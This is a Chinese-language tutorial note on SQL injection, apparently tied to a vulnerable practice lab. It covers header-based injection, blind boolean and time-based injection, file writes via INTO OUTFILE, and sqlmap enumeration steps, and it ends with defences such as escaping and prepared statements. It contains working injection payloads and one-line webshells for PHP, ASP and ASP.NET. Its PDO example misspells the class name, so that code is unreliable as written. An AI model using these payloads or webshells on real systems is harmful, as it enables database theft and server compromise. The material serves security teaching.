http header 注入
什么是http header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL注入漏洞。
HTTP头部详解
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Clien-IP:同上,不做过多介绍.
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).
HTTP头注入检测
HTTP头存在注入的话,可以使用burpsuite抓包工具,进行抓包注入.(PS:可能需要手工添加相关头参数).
基于http header:
Cookie ant[uname]=admin’ and updatexml(1,concat(0x7e,database()),0)#
firefox’ or updatexml(1,concat(0x7e,database()),0) or ‘
盲注
什么是盲注
在有些情况下,后台使用了错误信息屏蔽方法(比如@)屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注”
根据表现形式的不同,盲注又分为based boolean和based time两种类型
based boolean
基于boolean的盲注主要表现症状:
-
没有报错信息
-
不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为0或者1)
-
在正确的输入下,输入and 1=1/and 1=2发现可以判断
based on time
如果说基于boolean的盲注在页面上还可以看到0 or 1 的回显的话,那么基于time的盲注完全就啥都看不到了!但还有一个条件,就是“时间”,通过特定的输入,判断后台执行的时间,从而确认注入!
payload:
kobe‘ and if((substr(database(),1,1))=’a‘,sleep(5),null)#
一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP:
<?php @eval($_POST[‘chopper’]);?>
ASP:
<%eval request(“chopper”)%>
ASP.NET:
<%@ Page Language=“Jscript”%><%eval(Request.Item[“chopper”],”unsafe”);%>
通过SQL inject漏洞写入恶意代码
select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
-
需要知道远程目录
-
需要远程目录有写权限
-
需要数据库开启了secure_file_priv
表(列)名的暴力破解
SQL inject注入漏洞的防范
代码层面
-
对输入进行严格的转义和过滤
转义举例:
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data);
}
if(is_array($data)){
foreach($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
过滤举例:(黑名单)
str_replace("%","",$_POST['username'])//把post的数据里面含有%的替换成空
-
使用预处理和参数化(Parameterized)
推荐的做法:使用PDD的prepare预处理(预处理+参数化)
<?php
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDD('mysql:host=localhost;dbname=ant','root','root');
$sql="select * from admin where username=? and password=?";
$stmt=$pdo->prepare($sql);//先不传参数,先预处理
//var_dump($stmt);
$stmt->execute(array($username,$password));
//这个时候再把参数传进去,以索引数组的方式传进去,而不是拼接,就成功防止了注入
}catch(PDDException $e){
echo $e->getMessage();
}
?>
网路层面
-
通过waf设备启用防SQL inject注入策略(或类似防护系统)
在web应用服务器前部署waf设备:topo
-
云端防护(360网站卫士,阿里云盾等)
SQLmap
sqlmap经典用法
第一步:
-u “xxx” --cookie=“yyy” //带上cookie对URL进行注入探测
第二步:
-u “xxx” --cookie=“yyy” -current-db //对数据库名进行获取
第三步:
-u “xxx” --cookie=“yyy” -D pikachu --tables //对数据库的表名进行枚举
第四部:
-u “xxx” --cookie=“yyy” -D pikachu -T users --columns //对dvwa库里面的名为users表的列名进行枚举